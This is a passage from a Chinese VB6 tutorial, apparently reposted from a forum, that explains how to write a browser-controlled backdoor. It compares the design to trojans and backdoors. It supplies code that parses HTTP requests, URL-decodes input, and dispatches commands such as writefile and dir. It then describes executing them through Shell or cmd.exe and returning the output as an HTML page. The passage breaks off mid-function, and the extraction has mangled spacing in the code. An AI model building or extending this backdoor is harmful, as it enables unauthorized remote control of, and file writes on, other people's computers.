编程实现浏览器控制.docx

隔开，队列不止一个时用&连接，当然，这一切都是浏览器自动完成的。

浏览器对表单的处理顺序为：

Action--->参数1--->参数2--->……。

用工具捕获IE输出，可以看到点击按钮后实际是发送了以下HTTP请求：

POST/register?

UserName=LK007&Age=18HTTP/1.1

Accept:

text/html

User-Agent:

Mozilla/4.0（compatible;MSIE5.00;Windows98）

Host:

根据前面的分析，我们可以知道，最重要的部分是这段：

/register?

UserName=LK007&Age=18

分析它的格式：

[目标文件]?

[附加数据1=数据]&[附加数据2=数据]&..............

 //文章出处:

网络技术论坛（） 作者:

小金

应用在B/S模式中，可以这样理解：

[命令]?

[参数1=值]&[参数2=值]&......

注意，前面提到的表单里，，这是个提交按钮，必须省略它的NAME属性（完整的提交按钮格式是），否则浏览器会在所有数据后追加一个附加数据用于表示按钮，这样我们前面提到的“/register?

UserName=LK007&Age=18”就会变成“/register?

UserName=LK007&Age=18&[按钮NAME]=[按钮value]”，对程序分割命令段没什么好处。

例如：

/writefile?

filename=c:

\windows\desktop\user.txt&text=hello,nice%20to%20meet%20you

它表示用写入文件的命令往c:

\windows\desktop\user.txt写入内容“hello,nicetomeetyou”，浏览器输出的中文和特殊字符必须经过URL编码，因此空格被编码成了%20。

取得这些数据后，还必须把它分解，后面我们将会提到。

四、开始编程

关于HTTP和表单的概念就介绍到这，现在该转入代码讲解部分了。

（开发语言：

VB6.0）

限于篇幅，我并不想讲WinSock部分和程序枝叶，大家可以自己看文章附上的完整工程，在这里我只说与HTTP解析部分、表单处理和HTML处理有关的内容。

1.取出HTTP请求里的主体部分

由于浏览器的HTTP请求里有很多辅助数据，而我们需要的仅仅是第一行的目标文件（用作命令参数处理），所以必须用一段代码把不相关的数据全部去掉。

思路其实很简单，通过几次Left、Right、InStr等字符处理函数把它层层剥离即可。

===================================================

FunctionProcHTTP（strDataAsString）AsString

'去除HTTP请求中的基本数据头尾、附加数据、结束标志

 //文章出处:

网络技术论坛（） 作者:

小金

'Author:

LK007

'使用方法:

字符变量=ProcHTTP（[HTTP报文]）

'返回:

ProcHTTP（"GET/hello?

id=LK007HTTP/1.1"）="/hello?

id=LK007"

OnErrorResumeNext

DimFindGetAsInteger,FindPostAsInteger,spc2AsInteger

IfMid$（strData$,1,3）="GET"Then'如果以GET开头

FindGet=InStr（strData$,"GET"）

spc2=InStr（FindGet+5,strData$,""）'取得第二个空格分隔符位置（“HTTP”字符）

ProcHTTP=Trim$（Mid$（strData$,FindGet+4,spc2-（FindGet+4）））'分离数据

ElseIfMid$（strData$,1,4）="POST"Then'如果以POST开头

FindPost=InStr（strData$,"POST"）

spc2=InStr（FindPost+5,strData$,""）'取第二个空格

ProcHTTP=Trim$（Mid$（strData$,FindPost+5,spc2-（FindPost+5）））'分离数据

EndIf

EndFunction

===================================================

2.URL编码的问题

这是一个不得不提的处理部分，由于HTTP协议的限制，浏览器发送的HTTP请求里必须严格的按照“[提交方式][目标文件+参数][HTTP协议版本]”的格式，就是说只能有2个空格。

如果中间部分出现了空格，服务器就会把这次的HTTP请求视为非法，即返回400BadRequest错误，所以浏览器在输出时会把空格转换为%20，即Unicode编码，代码表示为"%"&Hex（Asc（""）），但是浏览器还会把大部分特殊字符（不在0---Z范围内的全部属于特殊字符）和中文都来个Unicode编码，这个处理过程称为URL编码（URLEncode）。

由于有这些因素存在，所以我们写的服务端就有可能接收到Unicode字符串，而WinSock并没有给我们自动转换回Ansi-String，这就造成了程序必须面对一大堆由百分号和不知所谓的字符组合的尴尬局面，服务端和浏览器之间可能会由此产生某种程度的误会。

所以，我们需要把Unicode恢复成Ansi-String，这一步骤叫URL解码（URLDecode）。

 //文章出处:

网络技术论坛（） 作者:

小金

由于VB没有提供现成的URL编码解码函数，我们只能自己写了-_-b

原理：

根据百分号把字符的HEX编码提出来，然后CHR（）恢复。

===================================================

FunctionURLDecode（ByValsEncodedAsString）AsString

'把URL编码恢复普通字符

'Author:

张移山《用VB开发标准CGI程序》,Thanks!

DimpointerAsLong

DimposAsLong

DimtempAsString

IfsEncoded=""ThenExitFunction

pointer=1

Do

pos=InStr（pointer,sEncoded,"+"）

Ifpos=0ThenExitDo

Mid$（sEncoded,pos,1）=""

pointer=pos+1

Loop

pointer=1

Do

pos=InStr（pointer,sEncoded,"%"）

 //文章出处:

网络技术论坛（） 作者:

小金

Ifpos=0ThenExitDo

temp=Chr$（"&H"&（Mid$（sEncoded,pos+1,2）））

IfMid（sEncoded,pos+3,1）="%"And（temp<>":

"）And（temp<>"/"）_

And（temp<>"（"）And（temp<>"）"）And（temp<>"."）And（temp<>","）_

And（temp<>";"）And（temp<>"%"）Then

Mid$（sEncoded,pos,2）=Chr$（"&H"&（Mid$（sEncoded,pos+1,2））_

&（Mid$（sEncoded,pos+4,2）））

sEncoded=Left$（sEncoded,pos）&Mid$（sEncoded,pos+6）

pointer=pos+1

Else

Mid$（sEncoded,pos,1）=temp

sEncoded=Left$（sEncoded,pos）&Mid$（sEncoded,pos+3）

pointer=pos+1

EndIf

Loop

URLDecode=sEncoded

EndFunction

===================================================

把尴尬解除后，我们进行下一步。

 //文章出处:

网络技术论坛（） 作者:

小金

3.命令分离和处理

服务端接收到一个HTTP请求去除枝叶后，进行Unicode编码恢复，最后把命令和参数分离处理。

别把这里看得太复杂，如果你写过C/S模式的木马或后门，对比一下，你会发现其实到了最后也是和C/S模式一样处理几个特定格式的字符串组成的命令。

例如：

/dir?

directory=c:

\&filter=*.*用命令行的处理模式来看，它要表达的就是“dirc:

\*.*”。

可是这段数据对程序来说，还是显得太复杂了，程序并不能从一段混乱的代码中自动获取你的命令，我们需要给它写个分解过程，用一个数组存放分离出的命令参数，这样就不必考虑每个命令的先后顺序了。

===================================================

SubProcessURL（strURLAsString）

DimsCommandAsString'命令

Dimsvalue（15）AsString'最大处理16个参数

DimsTmpAsString,sLengthAsInteger,iAsInteger

'例子

strURL="/dir?

directory=c:

\&filter=*.*"

strURL=Trim$（Right$（strURL,Len（strURL）-1））'去除"/"

sCommand=Left$（strURL,InStr（strURL,"?

"）-1）'分割命令和参数

 //文章出处:

网络技术论坛（） 作者:

小金

sTmp=Right（strURL,（Len（strURL）-Len（sCommand）-1））

Fori=0To15

IfInStr（sTmp,"&"）=0Thensvalue（i）=sTmp:

ExitFor

svalue（i）=Left$（sTmp,InStr（sTmp,"&"）-1）

sTmp=Right（sTmp,（Len（sTmp）-Len（svalue（i））-1））

Next

SelectCasesCommand

Case"dir"

DimsDirAsString

DimsFilterAsString

Fori=0To15

IfInStr（svalue（i）,"directory="）<>0Then

sDir=Right$（svalue（i）,Len（svalue（i））-10）'Len（"directory="）=10

ElseIfInStr（svalue（i）,"filter="）<>0Then

sFilter=Right$（svalue（i）,Len（svalue（i））-7）'Len（"filter="）=7

Else

EndIf

Next

 //文章出处:

网络技术论坛（） 作者:

小金

'在这里可以放置一个处理函数

'例如ShellsCommand&sDir&sFilter

'然后返回

'例如OutputHTML（数据）

Case.....

CaseElse

EndSelect

EndSub

===================================================

上面的URL经过分离循环后，得到命令“dirc:

\*.*”。

我们可以用多种方法执行这个命令，如Shell、CreateProcess、管道等，例如一个最简单的方法：

cmd.exe/cdirc:

\*.*>c:

\setup.txt，把结果输出到一个文本文件，然后读取它（执行结果），并用一个HTML页面返回数据，见下章。

3.输出HTML

这是B/S模式后门与浏览器交互的界面，其精致程度主要取决于编写者的HTML功底……

在输出HTML时，必须按照HTTP回应格式，至少需要有协议版本和状态代码，否则会造成不必要的麻烦。

当我们用http:

//IP:

端口/来访问后门时，输出默认页面，这是B/S模式必需的输出方式，因为不会有人能牢记一长串URL命令，这不是在做Telnet。

输出的HTML至少必须包括一个服务端能识别处理的表单。

===================================================

 //文章出处:

网络技术论坛（） 作者:

小金

FunctionDefaultHTML（